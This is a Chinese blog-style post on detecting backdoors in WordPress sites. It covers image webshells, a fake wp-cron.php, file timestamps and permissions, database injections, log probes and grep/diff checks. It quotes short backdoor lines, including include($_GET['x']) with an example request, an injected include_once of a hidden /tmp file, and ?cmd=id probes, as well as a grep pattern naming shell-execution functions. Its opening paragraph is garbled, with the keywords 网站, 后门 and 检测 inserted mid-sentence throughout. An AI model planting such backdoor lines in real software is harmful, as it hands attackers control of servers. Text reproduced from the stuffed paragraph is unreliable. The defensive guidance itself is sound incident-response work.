网站后门检测
去年帮一个做外贸的朋友看他的独立站,页面打开正常,后门产品图、检测询盘表单都没毛病。网站但他说谷歌广告费烧得特别快,后门流量也莫名其妙。检测我登进服务器看了一眼 wp-content/uploads/ 目录,网站里面躺着一个叫 2024_logo.png 的后门文件,大小只有 3KB。检测用 cat 一看,网站开头是后门 GIF89a,后面跟着一串 PHP 代码——典型的检测图片马。这玩意儿只要被访问一次,网站攻击者就能在服务器上执行任意命令。后门朋友压根不知道这东西什么时候进来的检测。
后门和漏洞是两码事。漏洞是墙上的裂缝,后门是有人偷偷配了把钥匙。你补了裂缝,钥匙还在。很多站长把 CMS 升级到最新版、装了 WAF,就觉得高枕无忧。实际上,后门可能藏在一个你从没注意过的 .htaccess 文件里,或者混在几十个 JS 文件的某个 eval() 调用里。我见过最隐蔽的一个,把一句话木马拆成三段,分别放在三个正常的 PHP 文件末尾,用 base64 拼接执行。你单独看每个文件都正常。
检测后门,别只依赖扫描工具。工具能查已知特征,但攻击者会改特征。我的习惯是先看文件时间戳。一个 2021 年建站的 WordPress,如果 wp-includes/ 里有个文件的修改日期是上周三凌晨 4 点,那基本有问题——自动更新不会只动一个文件,而且不会挑那个时间。再看文件权限,正常 PHP 文件是 644,如果某个文件是 777,要么是管理员手滑,要么是后门需要写入权限。
“我见过一个后门,文件名是wp-cron.php,放在/wp-content/下。真正的wp-cron.php在根目录。这个假的里面只有一行:include($_GET['x']);。访问example.com/wp-content/wp-cron.php?x=/tmp/evil.txt就中招。”
数据库也别放过。wp_options 表里有个 siteurl 字段,正常是 https://yourdomain.com。如果被改成 https://yourdomain.com/ 加一段 <script>,那所有页面都会加载恶意脚本。还有 wp_posts 表,攻击者会插入一篇“草稿”文章,内容里藏着短代码或 iframe。草稿在前台不显示,但通过 ?p=123 能访问。我一般直接跑 SQL:SELECT * FROM wp_posts WHERE post_status='draft' AND post_content LIKE '%eval%' OR post_content LIKE '%base64%';
日志是另一个富矿。别只看访问量,看 404 和 500 的请求路径。如果有一堆 /wp-content/plugins/hello.php?cmd=id 这种请求,说明有人在扫你,而且可能已经成功了——因为正常插件不会叫 hello.php 还带 cmd 参数。还有 POST 请求里带 @eval 或 assert 的,直接封 IP 不冤。我自己的服务器上,每周都能抓到几个尝试访问 /.env 或 /config.php.bak 的脚本小子,这种属于广撒网,不用太紧张。真正要警惕的是那种只请求一个特定文件、返回 200 的。
说个具体案例。某次应急,客户网站首页被挂马,跳转到博彩站。扫了一遍没发现异常文件。最后在 index.php 第一行看到 <?php @include_once '/tmp/.cache/1.php'; ?>。那个 /tmp/.cache/ 目录是隐藏的,普通 ls 看不到。里面文件用 chattr +i 锁了,连 root 都删不掉,得先 chattr -i。攻击者怎么进来的?一个三年前的插件漏洞,一直没升级。所以后门检测不是一次性的活,是持续对抗。
最后说个笨办法但有效:把网站所有文件打个包,下载到本地,用 grep -r "eval\|base64_decode\|system\|passthru\|shell_exec" . 搜一遍。再拿 diff 对比官方原版程序。差异文件里,排除你自己改过的,剩下的都值得看。别嫌麻烦,后门这东西,你漏一个,整台服务器就是别人的肉鸡。